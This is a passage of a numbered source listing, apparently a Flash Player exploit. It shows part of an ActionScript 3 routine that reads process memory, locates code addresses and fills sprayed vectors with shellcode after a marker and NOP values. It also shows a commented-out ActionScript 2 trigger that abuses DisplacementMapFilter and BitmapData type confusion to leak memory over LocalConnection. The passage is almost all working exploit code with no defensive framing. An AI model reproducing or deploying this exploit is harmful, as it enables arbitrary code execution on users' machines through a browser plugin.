  719. }
  720. var vector_code_contents_addr:uint = this.getMemoryAt(vector, vector_addr, vector_code_info_addr + 0xc);
  721. while(this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 0x28) != mark)
  722. {
  723. vector_code_contents_addr = this.getMemoryAt(vector, vector_addr, vector_code_contents_addr + 8);
  724. }
  725. return vector_code_contents_addr + 0x2c; // Code address, starting at nops after the mark
  726. }
  727. // Every vector in the array => 7f0 (header = 8; data => 0x7e8)
  728. function createCodeVectors(mark:uint, nops:uint) : * {
  729. var array:Array = new Array();
  730. var i:* = 0;
  731. while(i < 8)
  732. {
  733. array[i] = new Vector.<uint>(2032 / 4 - 8);
  734. array[i][0] = mark;
  735. array[i][1] = nops;
  736. i++;
  737. }
  738. return array;
  739. }
  740. function fillCodeVectors(param1:Array, param2:uint) : * {
  741. var i:uint = 0;
  742. var sh:uint=1;
  743. while(i < param1.length)
  744. {
  745. for(var u:String in shellcodeObj)
  746. {
  747. param1[i][sh++] = Number(shellcodeObj[u]);
  748. }
  749. i++;
  750. sh = 1;
  751. }
  752. }
  753. }
  754. }
  755. // Trigger's ActionScript
  756. /*
  757. // Action script...
  758. // [Action in Frame 1]
  759. var b = new flash.display.BitmapData(4, 7);
  760. var filt = new flash.filters.DisplacementMapFilter(b, new flash.geom.Point(1, 2), 1, 2, 3, 4);
  761. var b2 = new flash.display.BitmapData(256, 512);
  762. var filt2 = new flash.filters.DisplacementMapFilter(b2, new flash.geom.Point(1, 2), 1, 2, 3, 4);
  763. var colors = [16777215, 16711680, 16776960, 52479];
  764. var alphas = [0, 1, 1, 1];
  765. var ratios = [0, 63, 126, 255];
  766. var ggf = new flash.filters.GradientGlowFilter(0, 45, colors, alphas, ratios, 55, 55, 2.500000, 2, "outer", false);
  767. var cmf = new flash.filters.ColorMatrixFilter([]);
  768. MyString2.setCMF(cmf);
  769. MyString1.setGGF(ggf);
  770. flash.filters.ColorMatrixFilter.prototype.resetMe = _global.ASnative(2106, 302);
  771. zz = MyString1;
  772. flash.display.BitmapData = zz;
  773. arr = new Array();
  774. var i = 0;
  775. while (i < 8192)
  776. {
  777. arr[i] = new Number(0);
  778. ++i;
  779. } // end while
  780. var i = 100;
  781. while (i < 8192)
  782. {
  783. arr[i] = "qwerty";
  784. i = i + 8;
  785. } // end while
  786. k = filt.mapBitmap;
  787. zz = MyString2;
  788. flash.display.BitmapData = zz;
  789. k = filt.mapBitmap;
  790. cmf_matrix = cmf.matrix;
  791. cmf_matrix[4] = 8192;
  792. cmf_matrix[15] = 12.080810;
  793. cmf.matrix = cmf_matrix;
  794. ggf_colors = ggf.colors;
  795. ggf_alphas = ggf.alphas;
  796. mem = new Array();
  797. var i = 0;
  798. while (i < ggf_alphas.length)
  799. {
  800. ggf_alphas[i] = ggf_alphas[i] * 255;
  801. ++i;
  802. } // end while
  803. for (i = 0; i < ggf_colors.length; i++)
  804. {
  805. mem[i] = ggf_colors[i] + ggf_alphas[i] * 16777216;
  806. } // end of for
  807. ggf.colors = colors;
  808. ggf.alphas = alphas;
  809. ggf.ratios = ratios;
  810. var lc = new LocalConnection();
  811. lc.send("toAS3", "as2loaded", mem);
  812. zz = cmf;
  813. zz.resetMe("b", 1, 1, 1);
  814. class MyString1 extends String
  815. {
  816. static var ggf;
  817. function MyString(a,b)
  818. {
  819. super();
  820. }
  821. static function setGGF(myggf)
  822. {
  823. ggf = myggf;
  824. }
  825. static function getGGF()
  826. {
  827. return (MyString1.ggf);
  828. }
  829. }
  830. class MyString2 extends String
  831. {
  832. static var cmf;
  833. function MyString2(a,b)
  834. {
  835. super();
  836. }
  837. static function setCMF(mycmf)
  838. {
  839. cmf = mycmf;
  840. }
  841. static function getCMF()
  842. {
  843. return (MyString2.cmf);
  844. }
  845. }
  846. */